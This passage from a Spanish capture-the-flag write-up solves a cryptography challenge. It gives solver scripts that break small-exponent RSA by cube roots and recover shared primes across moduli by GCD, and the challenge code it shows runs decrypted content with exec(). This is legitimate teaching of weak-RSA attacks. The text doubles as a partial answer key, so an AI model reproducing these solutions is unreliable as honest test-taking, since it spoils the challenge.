6pWz2-OuL62U4wSpk1cSGkyS42o5DK_UbtDq0Z-PRln7-Z6mR1_L5QlXO6QfXs2UZZWVYyMHuwDN0FL02-E93UFbDC22oUP088jrI19z07Gj3X7LdZYbXWcQBb6HUarYTjUgRcgUWydRur_QRcJChAG1VRnzPLHbI0C9k0y0vczlvSRWKiZDcO4bSV9cUX83BFg3UEbO3eJEALwKnpJypfcjCouvQ-xxa2LiGbpqy_xZAcg1suTtxO3Q1WOCEbPZ3XtfxdUK4gl1mQTzxdgjXnmuKojxG52wDdVg2XEINaf4XIpB1RJHSIwkuqNrBpjDd7MQKuEzs7BwAxK2ULDI5w8FaWpuKyCGHtpFJa3qUwToQJ9Cnnua2uUMhWkKtWUlM6-VTJsYbz4_Fs5RNEiV7kagAfq2AOvEElg6lXHkb67G8fzMjwhEToloFVRUrn_OkfU0ah0sSSnpEZ8QSbI20jyLCJN8Pw_PD4kKIiER1UwwR9ZPByzMtpqQfrFlUAZP3yQwnyaKWmCDze6tICbjeYTkOYilWZhLj6bNyXmQ1f-SZtCc1G0Utq6bQG_CV9cSiKIe_zN0KdEOuYKxdxMqnarWnMY-iXdSZO2fRkhK0oxOUlkWNoX5kb-VeNrzshmYm-TcDNKDOduR9CGCCWSPzjBYPvRYnZ78lADx2QMe4FDt4LCVuNHKYAjvImBy13q5xRECxcfWzRGejpOn_yc5N8krGzumNibW8sl9J9Yhg8JSnQH_B27rq1qHCR0Hy9Z_01aVO1ngYrYykV6hboyhgMlJdYbcXczQH5J4E8tGDaRfsyPpOozjk9F6ag5HahUW8B5RFU7Xchob_OXm3X1rncBVOIEkl5_n7KZrHi_npgnv0BwYQBj6K7CqYZGoNa4nThc8NVByITrEZdSpkZ_9-f_m2NOw2q4SWpLAV8YH3gC-wEgEM13Wb8gwjgfusP_IXkG7KkqSQ1J_zKS9MtotuBtrFnqxUmUBMgSJp45f94aC4JumjzRXPM3dPDOKm78LHRBh8oc-VbMWv6qJgh5gp144d6GAFp5dazaqDlk3Pf1yVAZJvs7lviI0TFSoPjIOP7rRdMggHkvX1WFTjujyV4k54e-BDwabXYHNJg9eLzs5VoJwkcMJ3XZPg6YbBLHgO_dcUShkVV14ZFyF1VWMMDCntQPqpQI5K5LbM21KMJONmkKqrkcJHoWBlS2u5-2xS1tqhXNz51vq18bZGNrKej16BYvtL7LzK2q4n_UNwNa8zLY7a0s7afjTpcuXIU5hsoGtZKwbD7v3dfUDuVfpM7eICUEKWSsIjHSUSHcUZDqetjuQuO_quKhvSKs1wnGnI_Tz2Gt_ERjpuOaQCzp5fPFlBj4axbufLoWoP2otsISJwzQyO_R8bsHYK8EfgT6BHwtQz2D7pNWhLqBJt7z0G1OYozdj1Gd7nrfhq_arihEDVhbqzESwHdu6YXQQMgJnAz8qTCRH4QI4igmen9nm5gcSUmdCXBh6fR5cEP7gb8I3lTDyYF7rUc3XAir-xjV4ipZHJ-b6x-BP-CHemqvzaDuf6BobhPtLme0DhkfVYID1WINXcZCbe1GdGkqnlp9YAP6cJcGqGPydjuOuH6EZwUd5BFSol-9EwmV3gAtJDXS7B0Tgccsz68jxjiJapmLSI2FypwTX5oyIl339QDhXR8Y5yRpdcpYbkndUbmGrKp0K_xR8w45mWGBeOhwVZ1LVcULCNoORuse2oB6iKplLZviNult2U4DGo4ZUtuVgWWdzg7umMVEKBA-hgkSxDvdDFV5kIzLNJYpWWEFPVMnUS6dmbQIIWYgHcdlUyfbydt1KPR_d46rFGe5cZ1bDihUmdGaEXtmQXaQ5Ogn-cJNTBufG1ZPbdcFsJpu2sogLWbpwmSlsDqvlbSBNKwwFzeD2wgrY3DibYm2ULXLlxEA140KV2HjZ8HA_i85eUvJ6rGHgliMMoJWCB3rjN0FlCU2CxcNYf1eOYJTKMWv9cScQGNY8m-VXJ76Ee59c3frP7gCL_Swf5c40uwWlYgyPIZCZXaO9y6hyDISf7fmVSPUQ16zcztyVbioQjD2WcMDhqAW_sVdumuxHsue0KENhuDDnXVKMlGc2syVqHSwryHza0totX6oxB6aJ_hPWfENdZUOyoZl_Lpivj_vAT8qo2nHDgmLD-bSU_-o0I78WAE4dNvpUjyEkxAhOZO1RF1ufW6C0R9qeBKGKma1lPrhl5HsEu6WnmZiDm08XVms2P6hd9E_nmX5R-zaUYRMPjK1nXQFP0YtiToichC7LXS9fewt_LKbwXFv7IcZDu3ftAMk8Ulcxb6htIKObNxGgImyuuveyEPAN7MBS5ee_cpo5VoAW601JKRxIREMqd-JN6DTNl7zOhfYSi1B__LDtGmPe1woqBtEVQk-kLbx8mSvFxBD4C2jeo-kmTXI7VSKAOfqkVvcRsowuO9593t34c0E2frVxAMw4a3z00FNYT9YuABKAbU85NAzQockoRxYCc4wTJJTHtC9j7MX2jGIM9RB_K0cczOvvLzDvUsj0rb_BE4OJRJ3uWJlHFrHIMmGRGnlkzBDnoa8J03MhJImWvkjEWBdEba79v5Oy7FNTP-cpa8G7jrx2wmmGdoDeb-RmdBVvSxsmVJcUj0K0kuOfOowzDiDy8hYRzi3LY3VE3KnqnNEL9WKPOYifKX54ZTl2NmdWI8lqqzDjJU9vd4zPgOVn5_iApaUURc75sUadDib2uahYmwVytUz8TBP_ZP5vLKarSQE83kfNmLePU_1KNBq07-TsBWgJlKqDMgJTcUhKX6X-rEwhx_1sY8Dt2uk3KSi4lWn85FlMakpQ75doaE2gTS5XH6EtcqC4w0wiKZ2VRGulcM9ZRpvdqvoe8_7Yp5tdj98zIiVO6Ne4j4s_DJ9hHtn2PqsdVNviySvGt9xalvh_t-P65Irs3JMEaEGys1AtsaUrx7EYVVv-FlW7iGeZhL-ln5Z-ydwP8RxHet_feNLfCBMUuMPjm3HeYw4uspgWfffOymCLtTZM44XPWhRxJupJUJgOhHOigFNQ4YF9nwM9mRkVoqaTsSo1EW1lysVwhvSKNqfrJG8Kcvo05rbYIrrzQf6LP-YP_vtLLiWIvU8tF3rv7f6GWvBlK8teenwoz5peDUAYiWFT48uJ3UjyP5jLyNbHktjjTF2Nhe9Jup2lQLr5bFNoFDS0vWYS3lcJ7exipW7Ra_7i0_GHuGyvnauAq8MHqvlNzMPUrW4Jc514I3I2R1SRFUcfOk3QHUsgkdLVldTOd7nddE6TJ8WPqSPQ7ge_lnJ3bx6UgvYL3WYzPf6l7oLjUZqxrvmaNWFKhgA-LBjHIjpnTugLa3e7RR_SCch6SAqip_x3ZtSuIb9_dXtsws38sn3010Yh_aYjYx1M028f_EMHPxWAie5nzxLL3LsZ3aRKRZQ1RygCzLepO2-sO269jtsqZmYbFMEbCj0g45j8LOdQop8uaYbeYFRWxuO908P5SH5-LDtOQ_cfFTCBTWIhX5jNZtxQndhNRIIT4s-E6l2g3_vI20uQewMPmb_YvFeu3PVxGynOnLiOJcAflRSxTlbV2Mf_snzcppPwdzT0uk-bnpQHDFau2jgKLDqwY9vVUGzBdGIy4MgQVM2_fqXJbnQi2vAZetNC2KARttK1G_HTwv_mFtQmxE3JFH1p9SDKpPd-gmdEKJ5vYRDQz2g9ZI6VDJJqssnvTmPqH3YxwQcEb2DU7XZwzXNSb1cqbLO7-WTO_a-8Zzyw-P9TqfPvhA6GbCKHziO4lsO_LIMSV4qF091YZF7wXRTiFP1LRMhF4bYt7u6VLzKvf25aoNYVY5QHh6dsbb4i-I5Nwynsufab-qn4KdfJOkWJI7XkEquxdurb3A_QXGJB_v3hyHzOXdkq8EZRYenTU14jDyx0co6XuRFCTCh71_IYkqKa774UiiWn8gO_KyjFIYgJTeTF5DSJ_ZTcbMdblPB-aqbk8XNppGV8fE9h8qRGx6frp5hmWv2bbMDNaPIe1Z6mSz87ubNdAiFaZR5uEN-ocBR3BD7Y_ncpcyo8jT2l40VEvy5Lx3oDELBJVcgA3u5YIl7dchuc-jr33Oyygc-HBAG5VzQ5JLap9hVNQdXBBwdOZwDy2lJn0JgUKq-Z0ZDwKmJMQEiM0u3R4IHTZoiLZRqyaU6lYKKqDlkaUdn68AHqx2GBYmO06Z1RiYi694xnBr6wcn-gElaXQ2xtyy57CPmRC68I68DJSqDUXc9V1xAGd8EtH76n5BKOZfOQzPp8gTF854WLnpsCmtIRPmWNb0OruFjCC5g4Pe4Yx-FlElJyu0xSyqDhusHgFwbzDrEm64yqaPDbrE9OYeq-swpEppgWoINjoGkhmtiJQgNcN_dse0mF7jUQpVwrEFljgNP6B9LXBFnW7mHraycf2htkVD4gvoReAjZv7mCtsY1MT50bQO8R31hvRb44XXYdxXgxQWtuWVyzjcWRgY-YMdjmg-cp7WyGdixV_9GbzYlNwJjBYPaQu2rX8RKy1KbG7kG_bZ0UfyhATu_GJuplzpNnthkMiNiJB6UHXqYBuJb5SNcbUaUaEwIZCLAY6ZzaWgS_Jmxi-82P2oo4GHRIPTPVlj2Q8sLsfX4VEWrzHpSX-37NlqXNFlrGNd8MRCpsdpwGv5CzWSeAHhYV7emXtRF-4AfVg9TB0UKpuEnwzCa2RbZYrsoMa_wK_zqV7CjzlcJPHzz6__chqF3mOAx8yZ0Oap3SOE1Qaz-ctc5hkUzPwcNZ-okOMfNQ4S-qinCrDYPBdXVj5wj1b_u2jnARG6LLitaLdnlhB3uXEhJ7t1WT4bhDzNBRMyK3m6hj_EQqYl4Kqcp1CugZSs1fxuXV5g2nbPjsbZa-fVQWZ0fo8gRUbKRlUkibIx-6otsj6gyoK3z1cNEsOxSDYKHE73O_0CCaHR0JxRq8Y-dE6ZNKCrEmHskL-hPmqqJu04kyPJFknWFyPKO7MOBbH5WGf6cFvlsOSPSUBbX62RdN7tDYjjtjDHnuPi9czSXl69croO7p30yNeBshCieCcSCiiXgWooTXzko8CVfcTnjFNBlrHih43Ak3AJ1oKZkciYWXK3PsXoqC6QIdSMGR08_PNXE7YdClqwQAjr9ciPUWIpqbgmOKeJL3RHf6zyt7fXp7md8aooQv9eZtcLR6ZyQSQtDQBbjjTdOxbPI-_WPz0l_ZDSHLfOkK9Dad-lh50PA4lcy3YuVP_FX6fMCA8OTlUdgXI_sI-YOG51Jc3x9FXwhPwRDsLwCGvECFJ28SOkY_HpWdWK-FMP4HxvXhyYs_vD8JiDruYxmZAl0tpmOeRcyrCghcaJyGKXw8GwdH1wsRjF9VfmlD8_mVlSfTujPr2BGP-8_poxmbLktM0MIh8T5wUondYAhIcHCy3t1GSn6zDTOdrsN3-tIVh-3nlVC6yEcSEUCMAJ6CxzGOGJ1-FvpP2HbuG1XVTgzsIddjZWYMamYDduZR-TnpjU1O_Jc0_wYOcv6JyBK1Pr0LtGmK6XAwLACBp8PxzcBOZwN9x5IdvuHUIdGU4NVuCNYkltK-H-rNCCJ7Nmph8vfny4NO-1ho08Ju8UlgW79wJyBYBBh9yTiawhaE001iwI7Ttsd1beRIxLtL4St6r6_fCrJ1XaarLTbmlvFNhxbe3IE0Hfw1wFt1vGR_zfAq52hev8DdKYjHXKqmKZpLe8cnl1hvhjlLktNj9TZpL0FXTp5HOF0PPcoIKveI4Eqf5-CGB5JvnWVkoGAvJ2Ues_YLj6i3fTn53GPn93rUfwLxWD8kesEz0hcX6xqpJEpVFiEZ0gvcyQlS-wteuErcr0W_37nqcD9BnrZl94IrXHp7IVpUigpX0YHcSdNOyhh8Bam9u85ct__oA4kVGSEKnPHR8jI_rTp6rmoGx1k9fuRmO6K4zauC_uhSiH8ycJtjTBmimJ6rj9upEUdT7ICqhcD6qP32rB7UhgRy1sOg1qEju9LEyBHn-sInkdYzVxMi_OyoYNJynUWAwLzLHEq4qGtERwyEj_XPuAAe1PQbVEj0YP8YNCeZwK-OOgWYRLLEwPCgF5FxoKdzNm4kOev43AR5gtbwFP9PIJD12wci7jNtToJe-YYnhcR2ohEHwjyzQNBV3C5cCl6XBUoCa1v2BSHqRc_N5OaY_qqGL058fAMxiKxtTu93EBPigxgsVDH_sXQ1QrSU-Jkn-iTEolFjvEhrlCl1f3KMMBg==
"""</span>

<span class="c1"># Enter main loop
</span><span class="n">ui_flow</span><span class="p">()</span>

<span class="k">if</span> <span class="n">jump_into_full</span><span class="p">:</span>
    <span class="k">exec</span><span class="p">(</span><span class="n">decrypted</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="primera-flag">Primera flag:</h3>

<p>Bajo mi punto de vista, conseguir la primera flag es más complicado que conseguir el resto. Las siguientes flags son más directas.</p>

<p>Para esta parte tenemos que analizar la función <em>introducir_licencia:</em></p>

<p class="code-title">introducir_licencia.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">introducir_licencia</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> Su licencia se encuentra cifrada en RSA"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> Datos disponibles:"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> N:2388359604017562360686986826224407467085141542110106297195474917317598533853482966573781022895301214038172036369449124672056785812196701442436301713256329682262800506348973244370343978930848590448632471683227298949837982596258881987542556516242078135641151110529441878952297040735067050915825910591044267338619727699025093233802557928242039526776443273229603331123837732704576287055048035853719637773386378484400138967119256462879704170644777435140519575930343073837331606656680431107878364011329736084042156051102552595028376108767986366643502871029624959943078823651061456756269940347667680087219115241717836903727876944071795483871598218654421875968136363745276590642798841955188030275484016418866459941888404372137056223485086390119726549111092550651040715892407647299855009875414855092225786762619999478029464571012275427683308915306292354974121999956919177496194811807488385022242758843660252461621608921888601112105332430021120341932414260104903029586353455582330541938999265036078858976696027946971"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> e: 3"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> c: 1540721424343799902606651655848933086271745472278165266240849486559556881783873287413652584507984944306200870022880146776214626060950164476558869019210122220116044284889929096084990678169089848831509075708420122306035373495840314113720152014011617499294596976326861255637499828853401492372193963031884595623110218888611592586981134397771959503322183258914008502055519902491582335028201338136992911379083206307454812940479912821366654550451867440100372095636509631453314789012598795454510232231466021273667090876872012316533222291192770766350631652145833625098465315630072886326825137446590457400355062225014677785718519750253736188120429855174472025330346688494949266124236925164422748262980925232326494719540341841616873866001441002292970154428056595601908567551539056028365120426102085844437653070298813380091882415786292133393507387022552046526817913424253789271549901462627897454016941811819805715856594343758485141860592261362250817672946612120186033077052168133301973361814764918267639746916442387411"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> pista: la clave contiene un padding, y se encuentra en formato UAM{}"</span><span class="p">)</span>
    <span class="n">user_key</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> Introduzca la clave de su licencia contenida dentro del formato UAM{}: "</span><span class="p">)</span>
    <span class="n">user_key</span> <span class="o">=</span> <span class="n">user_key</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span>

    <span class="k">global</span> <span class="n">bUsername_trial</span>
    <span class="n">decrypt_full_version</span><span class="p">(</span><span class="n">user_key</span><span class="p">)</span>
    
<span class="c1">#    if check_key(user_key, bUsername_trial):
#        decrypt_full_version(user_key)
#    else:
#        print("\nKey is NOT VALID. Check your data entry.\n\n")
</span></code></pre></div></div>

<p>Se nos proporciona el valor de <em>e</em>, <em>n</em> y <em>c</em> y nos pide una key.</p>

<p>A priori, podemos pensar que para descifrar <em>c y</em>obtener la<em>key</em>podemos abusar del valor tan pequeño que tiene el exponente <em>e</em>y que esto no va a darnos dolores de cabeza, pero no es así ?.</p>

<p>Si intentamos hacer la raíz cúbica de <em>c</em>, veremos que no obtenemos nada con sentido.</p>

<p>Es en este momento cuando me fijé en la pista que se nos proporciona en el código:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pista: la clave contiene un padding, y se encuentra en formato UAM{}
</code></pre></div></div>

<p>El padding se está aplicando directamente a m, es decir, al plaintext que se cifra. Es importante saber que solo podemos hacer la raíz cúbica de <em>c</em> si <em>c &lt; n</em>, pero si le aplicas padding a <em>m</em> puede que <em>c ≥ n</em>. En este último caso, podemos conseguir el plaintext de la siguiente forma:</p>

<p><img class="post-img" src="/assets/posts/writeup-una-al-mes-junio-2022-criptografia/latexuam-3.webp" alt="" loading="lazy" /></p>

<p>para un <em>k</em> perteneciente a Z</p>

<p>Por tanto, tenemos que ir incrementando el valor de <em>c</em> añadiendo múltiplos de <em>n</em>. Además, podemos saber que hemos conseguido el plaintext correcto, ya que, en ese caso, al cifrar el plaintext obtenido tendremos el mismo ciphertext que se nos da. Veámoslo mejor con el solver:</p>

<p class="code-title">Space_Project_UAM_solver1.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">gmpy</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>

<span class="n">n</span> <span class="o">=</span> <span class="mi">2388359604017562360686986826224407467085141542110106297195474917317598533853482966573781022895301214038172036369449124672056785812196701442436301713256329682262800506348973244370343978930848590448632471683227298949837982596258881987542556516242078135641151110529441878952297040735067050915825910591044267338619727699025093233802557928242039526776443273229603331123837732704576287055048035853719637773386378484400138967119256462879704170644777435140519575930343073837331606656680431107878364011329736084042156051102552595028376108767986366643502871029624959943078823651061456756269940347667680087219115241717836903727876944071795483871598218654421875968136363745276590642798841955188030275484016418866459941888404372137056223485086390119726549111092550651040715892407647299855009875414855092225786762619999478029464571012275427683308915306292354974121999956919177496194811807488385022242758843660252461621608921888601112105332430021120341932414260104903029586353455582330541938999265036078858976696027946971</span>
<span class="n">c1</span> <span class="o">=</span> <span class="mi">1540721424343799902606651655848933086271745472278165266240849486559556881783873287413652584507984944306200870022880146776214626060950164476558869019210122220116044284889929096084990678169089848831509075708420122306035373495840314113720152014011617499294596976326861255637499828853401492372193963031884595623110218888611592586981134397771959503322183258914008502055519902491582335028201338136992911379083206307454812940479912821366654550451867440100372095636509631453314789012598795454510232231466021273667090876872012316533222291192770766350631652145833625098465315630072886326825137446590457400355062225014677785718519750253736188120429855174472025330346688494949266124236925164422748262980925232326494719540341841616873866001441002292970154428056595601908567551539056028365120426102085844437653070298813380091882415786292133393507387022552046526817913424253789271549901462627897454016941811819805715856594343758485141860592261362250817672946612120186033077052168133301973361814764918267639746916442387411</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">c1</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">gmpy</span><span class="p">.</span><span class="n">root</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="mi">3</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>

<span class="k">while</span> <span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="n">n</span><span class="p">)</span> <span class="o">!=</span> <span class="n">c1</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"c = {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">c</span><span class="p">))</span>
    <span class="n">c</span> <span class="o">+=</span> <span class="n">n</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">gmpy</span><span class="p">.</span><span class="n">root</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="mi">3</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>

<span class="k">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">m</span><span class="p">))</span>
</code></pre></div></div>

<p><img class="post-img" src="/assets/posts/writeup-una-al-mes-junio-2022-criptografia/uam2.webp" alt="" loading="lazy" /></p>

<p>Tal y como se puede apreciar, el padding al que se referían consistía en una serie de espacios al inicio de la flag.</p>

<h3 id="segunda-flag">Segunda flag</h3>

<p>Teniendo la primera flag podemos seguir con la ejecución del programa.</p>

<p><img class="post-img" src="/assets/posts/writeup-una-al-mes-junio-2022-criptografia/uam3.webp" alt="" loading="lazy" /></p>

<p>El programa nos pide la <em>key</em> que hemos obtenido y llama a la función <em>decrypt_full_version</em> pasando como argumento la <em>key</em> introducida. Si nos fijamos bien, en la función <em>decrypt_full_version</em>se llama a<em>Fernet</em>pasándole la <em>key</em> en base64:</p>

<p><img class="post-img" src="/assets/posts/writeup-una-al-mes-junio-2022-criptografia/uam4.webp" alt="" loading="lazy" /></p>

<p>Es importante saber que <em>Fernet</em> espera como <em>key</em> un valor de 32 caracteres, que es justamente la longitud de la cadena que hay entre {}. Por tanto, debemos proporcionar ese valor para continuar:</p>

<p><img class="post-img" src="/assets/posts/writeup-una-al-mes-junio-2022-criptografia/uam5.webp" alt="" loading="lazy" /></p>

<p>Seleccionamos la opción <em>b</em> y se nos muestra la información para obtener la siguiente flag:</p>

<p class="code-title">Space_Project_UAM2.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Vaya</span> <span class="err">!!!</span>

<span class="n">Necesitamos</span> <span class="n">un</span> <span class="n">segundo</span> <span class="n">factor</span> <span class="n">de</span> <span class="n">autenticación</span>

 <span class="n">Para</span> <span class="n">acceder</span> <span class="n">necesita</span> <span class="n">resolver</span> <span class="n">el</span> <span class="n">siguiente</span> <span class="n">problema</span><span class="p">:</span>

<span class="n">n1</span><span class="p">:</span> <span class="mi">17824662063931350214223386810814852301249515497497139812902163502913781924494611383559346606809815236390210116817784675436123817314832624239657588495739923029371893435842952633535768082946372752199420527479895241774646728166830063698600428670873489541441038897760730320294745670668053915562174940630507138294534347731116571076461922963834100132973236843497044086332284604129786238315376752921033613925923455396251665685832824666952007264503312922306586584664237974009954961856288489437483125273510945425456410783438852350972373785999603984625001762658969945048955998467179256971330663798743101126043605183291761793679</span>

<span class="n">n2</span><span class="p">:</span> <span class="mi">17460577025417532617145065037522684719407212829127451193876716400196816451636430831743273489268207759853471132779546752834413623537793912793243812987259466151761228452196854582811181807331843291280738156817866981931271729145201226943579856417184407304033533100808047053336224549884935791510122547487389856804128285266553747962197617004719267537827108328539484564367891730008842618178044124246682603653614368491934722999483505794204154388663752989138088424922985942599433814759715253917667843057739090927990433558072887522997800471142027386754437727690122530332561092903112609343096885413214207313020041427777416836713</span>

<span class="n">n3</span><span class="p">:</span> <span class="mi">19114115977732462701709687019902486937265612420334195715080797324907548368977075060698379696844613238474174655637002859494277633539823803694788625199412189504047299862787677238571557745235955402842143068069196101309866614792992094693162184772586974368956295124443272755898820570613890603947101529357476017518645136618906447433181071918544531652127075189503179140301462754620053974156552468411421074335786969199496555935064048045710530822473363892607723160785400638903937101974117782322313128438097540590522784580157463985226829290798397701018877754144380300784917111841349513391737293839942174090204466464441015492703</span>

<span class="n">n4</span><span class="p">:</span> <span class="mi">15680798551643988657227725199725012596795476788443067644763327604090511762090190479406955886477193871047341493066942394066713967749566032658288400768708478341188709773196419875727016823917358484802065657425968279639244589186765648041473389736294238890134959149156339523848000619170500615417270307174902991451802589702742104898640491331399313066713005239533220591758448459212465699731809196452098191187437776390331912957335192003925860873345418433583557156541796722390972745247097857595266619755507337406241346213908727239306423754384980052987581645674239898136379044720051607822563712811867075155274128421366838519583</span>

<span class="n">c</span><span class="p">:</span> <span class="mi">10931058306942089020672057700581464428272909160353174713420959992035643910409437837187988347774125974665123119596431537155658853351159062468188944273070821066937237766435849750062631870599237918419915582762855108175779466748532994055347749365575084502626428185068686508679344635119892041843950322009250685069064283921279309138421372296737657744514129020131720923828146884007481363881729475896383613849306362295706529335684081107062687862374744078331843219193260330138477840191131061097362730166647002540441817773187701136784352161143486235686385064948492946913439739470641841610262898366469961158456034571552582618844</span>

<span class="n">e</span><span class="p">:</span> <span class="mi">65537</span>

<span class="n">Las</span> <span class="n">relaciones</span> <span class="n">entre</span> <span class="n">las</span> <span class="n">distintas</span> <span class="n">n</span> <span class="n">son</span>

<span class="n">n1</span> <span class="o">=</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span>

<span class="n">n2</span> <span class="o">=</span> <span class="n">r</span> <span class="o">*</span> <span class="n">q</span>

<span class="n">n3</span> <span class="o">=</span> <span class="n">p</span> <span class="o">*</span> <span class="n">r</span>

<span class="n">n4</span> <span class="o">=</span> <span class="n">r</span> <span class="o">*</span> <span class="n">t</span>

<span class="n">El</span> <span class="n">encriptado</span> <span class="n">se</span> <span class="n">ha</span> <span class="n">hecho</span> <span class="n">de</span> <span class="n">la</span> <span class="n">siguiente</span> <span class="n">forma</span><span class="p">:</span> 

<span class="n">c</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="n">e</span><span class="p">,</span><span class="n">n1</span><span class="p">),</span><span class="n">e</span><span class="p">,</span><span class="n">n2</span><span class="p">),</span><span class="n">e</span><span class="p">,</span><span class="n">n3</span><span class="p">),</span><span class="n">e</span><span class="p">,</span><span class="n">n4</span><span class="p">)</span>
</code></pre></div></div>

<p>Este reto es bastante trivial porque las distintas <em>n</em> comparten primos, por ello podemos ir obteniéndolos. Esto podemos hacerlo mediante el máximo común divisor.</p>

<p>Dado que la <em>t</em> solo se encuentra presente en <em>n4</em>, cuando obtengamos<em>r</em> podremos dividir <em>n4</em> por <em>r</em> y conseguir <em>t</em>. El pseudocódigo es el siguiente:</p>

<p class="code-title">pseudocodeUAM.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">q</span> <span class="o">=</span> <span class="n">mcd</span><span class="p">(</span><span class="n">n1</span><span class="p">,</span><span class="n">n2</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">mcd</span><span class="p">(</span><span class="n">n2</span><span class="p">,</span><span class="n">n3</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">mcd</span><span class="p">(</span><span class="n">n1</span><span class="p">,</span><span class="n">n3</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">n4</span> <span class="o">//</span> <span class="n">r</span>
</code></pre></div></div>

<p>El cifrado de <em>m</em> se lleva a cabo mediante el siguiente fragmento:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>c = pow(pow(pow(pow(m,e,n1),e,n2),e,n3),e,n4)
</code></pre></div></div>

<p>Teniendo los primos es sencillo descrifrarlo, tan solo tenemos que ir descifrando desde fuera hacia dentro, es decir, comenzamos fijándonos en el primer pow:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pow(*pow(pow(pow(m,e,n1),e,n2),e,n3),*e,n4)
</code></pre></div></div>

<p>Se eleva <em>pow(pow(pow(m,e,n1),e,n2),e,n3)</em> a <em>e</em> (mod n4). Esta es la primera parte que tenemos que descifrar. Sabemos que <em>n4 = r * t</em> y teniendo los primos podemos calcular <em>d</em> y descifrarlo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ct4 = rsa_decrypt(r,t,n4,c,e)
</code></pre></div></div>

<p>Tras descifrar esta parte, conseguiremos lo que he denominado ct4.</p>

<p>El siguiente fragmento a descifrar es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pow(pow(pow(m,e,n1),e,n2),e,n3)
</code></pre></div></div>

<p>Los dos primeros <em>pow</em> corresponden a ct4, por tanto, se eleva ct4 a <em>e</em> (mod n3). Para descifrarlo seguimos el mismo proceso que antes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ct3 = rsa_decrypt(p,r,n3,ct4,e)
</code></pre></div></div>

<p>Seguimos así hasta llegar al final y obtener el valor de <em>m</em>. El script final es:</p>

<p class="code-title">Space_Project_UAM_solver2.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>

<span class="k">def</span> <span class="nf">egcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
    <span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span> <span class="n">u</span><span class="p">,</span><span class="n">v</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span><span class="mi">0</span>
    <span class="k">while</span> <span class="n">a</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">q</span><span class="p">,</span> <span class="n">r</span> <span class="o">=</span> <span class="n">b</span><span class="o">//</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="o">%</span><span class="n">a</span>
        <span class="n">m</span><span class="p">,</span> <span class="n">n</span> <span class="o">=</span> <span class="n">x</span><span class="o">-</span><span class="n">u</span><span class="o">*</span><span class="n">q</span><span class="p">,</span> <span class="n">y</span><span class="o">-</span><span class="n">v</span><span class="o">*</span><span class="n">q</span>
        <span class="n">b</span><span class="p">,</span><span class="n">a</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span> <span class="n">u</span><span class="p">,</span><span class="n">v</span> <span class="o">=</span> <span class="n">a</span><span class="p">,</span><span class="n">r</span><span class="p">,</span> <span class="n">u</span><span class="p">,</span><span class="n">v</span><span class="p">,</span> <span class="n">m</span><span class="p">,</span><span class="n">n</span>
        <span class="n">gcd</span> <span class="o">=</span> <span class="n">b</span>
    <span class="k">return</span> <span class="n">gcd</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span>

